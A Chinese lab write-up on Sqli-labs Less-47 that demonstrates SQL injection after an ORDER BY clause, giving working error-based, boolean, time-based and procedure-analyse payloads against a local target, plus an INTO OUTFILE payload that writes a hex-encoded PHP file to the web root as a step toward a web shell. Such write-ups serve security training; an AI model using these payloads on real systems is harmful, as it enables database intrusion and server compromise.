zoukankan      html  css  js  c++  java
  • Sqli-labs Less-47 order by后的注入

    本关的sql语句为

    $sql = "SELECT * FROM users ORDER BY '$id'";

    将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。

    1、order by后的参数

    我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

    ① and rand相结合的方式,payload:

    http://127.0.0.1/sql/Less-47/?sort=1' and rand(ascii(left(database(),1))=115)--+

    换成116后,http://127.0.0.1/sql/Less-47/?sort=1' and rand(ascii(left(database(),1))=116)--+

    此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

    ②可以利用报错的方式进行

    http://127.0.0.1/sql/Less-47/?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

    可以看到user()的内容,同时可以构造其他的语句进行注入。

    这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

    http://127.0.0.1/sql/Less-47/?sort=1'and (select * from (select name_const(version(),1),name_const(version(),1))x)--+

    此处重复了version(),所以就爆出了版本号

    ③延时注入

    http://127.0.0.1/sql/Less-47/?sort=1' and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+

    这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。

    2、procedure analyse参数后注入

    利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    以下为示范例

    http://127.0.0.1/sql/Less-47/?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

    (报错)

    3、导入导出文件into outfile参数

    http://127.0.0.1/sql/Less-47/?sort=1' into outfile "D:\software\wamp\www\sql\test2.txt"--+

    查看这个文件,发现导入成功。

    那这个时候我们可以考虑上传网马,利用lines terminated by。

    Into "D:\software\wamp\www\sql\test2.txt" lines terminated by 0x(网马进行16进制转换)

    http://127.0.0.1/sql/Less-47/?sort=1' into outfile "D:\software\wamp\www\sql\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

    此处的16进制文件为<?php phpinfo();?>

    我们访问test.php

    参考:https://www.cnblogs.com/lcamry/p/5762699.html

  • 相关阅读:
    HTML DOM教程 9HTML DOM Window 对象
    HTML DOM教程 11HTML DOM Screen 对象
    Android项目中把bin文件夹里面的.apk文件删除,怎么让它再生成
    Qt把ping www.baidu.com之后的内容的内容输出到一个名为output的文档
    Qt之QProcess 和 c语言对比
    Git的Windows版本Msysgit的中文乱码解决
    多系统 grub之ubuntu的 grub
    QT中调用外部程序:QProcess的使用
    repo的小结
    恢复Ubuntu默认的面板
  • 原文地址:https://www.cnblogs.com/zhengna/p/12666749.html
Copyright © 2011-2022 走看看